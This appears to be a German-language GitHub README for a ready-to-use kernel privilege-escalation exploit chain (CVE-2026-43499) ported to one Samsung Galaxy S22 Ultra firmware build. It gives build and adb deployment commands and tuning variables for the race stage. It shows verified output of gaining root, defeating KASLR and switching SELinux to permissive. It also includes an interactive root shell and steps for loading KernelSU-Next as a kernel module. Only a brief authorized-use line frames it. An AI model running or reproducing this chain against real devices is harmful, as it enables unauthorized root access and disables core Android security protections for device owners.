
CVE-2026-43499 vollständige Exploit-Kette für Samsung Galaxy S22 Ultra (Android 5.10-Kernel)
https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3
![]() | ![]() |
![]() | ![]() |
Dieses Repository enthält einen gerätespezifischen Port des CVE-2026-43499-Exploits für das Samsung Galaxy S22 Ultra (SM-S908W).
Device: Samsung Galaxy S22 Ultra (SM-S908W)
Codename: b0q
Android: 15 / SDK 35
Build number: AP3A.240905.015.A2.S908WVLS8FYG7
Build display ID: AP3A.240905.015.A2.S908WVLS8FYG7
Build fingerprint: samsung/b0qcsx/b0q:15/AP3A.240905.015.A2/S908WVLS8FYG7:user/release-keys
Kernel: 5.10.226-android12-9-30958166-abS908WVLS8FYG7
Architecture: aarch64
Die Offsets und Strukturlayouts in diesem Repository sind spezifisch für die oben genannte Firmware. Andere Modelle und Firmware-Builds werden von diesem Zielprofil nicht unterstützt.
Dieser Port basiert auf der in den folgenden Quellen veröffentlichten Exploit-Implementierung:
b850d3bddc74c3328d5fbcc0568d21962b55d949Besonderer Dank geht an:
Die Apache-Lizenz 2.0 des Upstreams bleibt in LICENSE erhalten.
b0q / S908WVLS8FYG7 (src/targets/S908WVLS8FYG7/target.h) und Kernel-Strukturlayouts hinzugefügt.exp32-Route ersetzt: Futex-Choreografie, 32-Bit-Stack-Stempel und sched_setattr laufen in einer eingebetteten 32-Bit-Kind-Stufe (src/exp32/).system_unbound_wq-User-Mode-Helper-Root-Pfad hinzugefügt und das Laufzeit-SELinux-Enforcement-Ziel auf selinux_state.enforcing aktualisiert./data/local/tmp/cve-2026-43499-root hinzugefügt.cve43499-hold-Prozess, damit verwaiste Kernel-Referenzen nicht in unzusammenhängende Slab-Objekte recycelt werden können.Setze ANDROID_NDK_HOME auf Android-NDK r27+ oder eine kompatible Toolchain und führe dann Folgendes aus:
make PROJECT=S908WVLS8FYG7 clean preload root-helper
Zum Erstellen für eine QEMU-Umgebung, die den Android-Kernel mit einem Buildroot-Dateisystem ausführt:
make USE_BUILDROOT=1 PROJECT=S908WVLS8FYG7 clean preload root-helper
Ausgaben:
build/S908WVLS8FYG7/bin/cve-2026-43499
build/S908WVLS8FYG7/bin/cve-2026-43499-root
build/S908WVLS8FYG7/bin/cve-exp32
adb push build/S908WVLS8FYG7/bin/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/S908WVLS8FYG7/bin/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb push build/S908WVLS8FYG7/bin/cve-exp32 /data/local/tmp/cve-exp32
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root /data/local/tmp/cve-exp32
Führe die Exploit-Stufe aus, um den Root-Daemon zu starten:
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
Nach erfolgreicher Ausführung öffnest du von überall auf dem Gerät eine interaktive Root-Shell:
adb shell "/data/local/tmp/cve-2026-43499-root"
Oder führe Root-Befehle direkt aus:
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
Der Standardlauf unternimmt bis zu 16 unabhängige Versuche. Jeder fehlgeschlagene Kindprozess beendet sich vor dem nächsten Versuch, sodass seine Dateideskriptoren und Heap-Shaping-Allokationen freigegeben werden, statt sich in einem langlebigen Exploit-Prozess anzusammeln. Die Standard-Basisverzögerung beträgt 20000 Mikrosekunden und der Supervisor durchläuft die folgende Sequenz zweimal:
20000, 30000, 50000, 25000, 40000, 15000, 60000, 35000
Überschreibe die Anzahl der Versuche oder die Basisverzögerung, wenn du Zeitmessdaten sammelst:
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
Verifiziertes Ergebnis auf S908WVLS8FYG7:
[*] root umh result wake=1 complete=1 retval=0 socket=1
[+] pipe-physrw-summary pid=5011 done=1 root=1 kaslr=1 base=ffffffc0080d8000 slide=00000000000d8000
[+] pipe physrw pid=5011 done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] stability keeper pid=28206 retaining reclaimed kernel pages
[+] exploit completed attempt=1/16
Interaktive Root-Shell-Sitzung:
b0q:/data/local/tmp $ ./cve-2026-43499-root
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
:/ # getenforce
Permissive
Die Anfangsstufe ist race-basiert. Ein Kindprozess, der mit root=0 endet, wird automatisch erneut versucht. Bei erfolgreicher Ausführung wird ashmem_misc.fops wiederhergestellt, SELinux auf permissiv umgestellt und der Root-Helper-Daemon bis zum nächsten Neustart gestartet.
Der obige Exploit hält Root nur für den aktuellen Bootvorgang. Um für den Rest der Sitzung eine Manager-App und su-artige Kontrolle zu erhalten, lade KernelSU-Next über den Root-Helper als spät geladenes Kernelmodul.
Lade beide Release-Assets von v3.3.0-android12-5.10 herunter:
KernelSU_Next_v3.3.0-release.apk — Manager-Appkernelsu-android12-5.10.ko — LKM-KernelmodulInstalliere die Manager-APK:
adb install KernelSU_Next_v3.3.0-release.apk
adb push kernelsu-android12-5.10.ko /data/local/tmp/kernelsu-android12-5.10.ko
adb shell "/data/local/tmp/cve-2026-43499-root -c 'insmod /data/local/tmp/kernelsu-android12-5.10.ko'"
ksud soft-reboot bereitstellen.Da es sich um ein spät geladenes LKM handelt (kein gepatchtes Boot-Image), übersteht es keinen Neustart — du musst den Exploit bei jedem Neustart des Geräts erneut ausführen und das Modul erneut per insmod laden.
[!WARNING] Hinweis zur Zuverlässigkeit & Kernel-Panik: Die Race-Stufe ist zeitkritisch und derzeit unzuverlässig — sie kann bei den meisten Läufen fehlschlagen oder eine Kernel-Panik auslösen. Sei geduldig, da saubere Systemstarts eine höhere Erfolgsrate bieten. Zukünftige Optimierungen könnten veröffentlicht werden, um die Zuverlässigkeit zu verbessern.
[!TIP] Empfehlungen für Stabilität & Erfolgsrate:
- Gerät neu starten: Starte das Gerät vor der Ausführung des Exploits neu, um einen sauberen Slab-/Heap-Zustand sicherzustellen.
- Hintergrund-Apps schließen: Stelle sicher, dass alle Hintergrundanwendungen geschlossen sind.
- Bildschirm entsperren & inaktiv bleiben: Lasse das Gerät entsperrt und interagiere während der Ausführung des Exploits nicht mit dem Telefon und benutze es nicht, da aktive Benutzereingaben/Hintergrundaufgaben das Timing stören und möglicherweise eine Kernel-Panik auslösen können.
Verwende den Exploit nur auf Geräten, die dir gehören oder für die du ausdrücklich zum Testen autorisiert bist.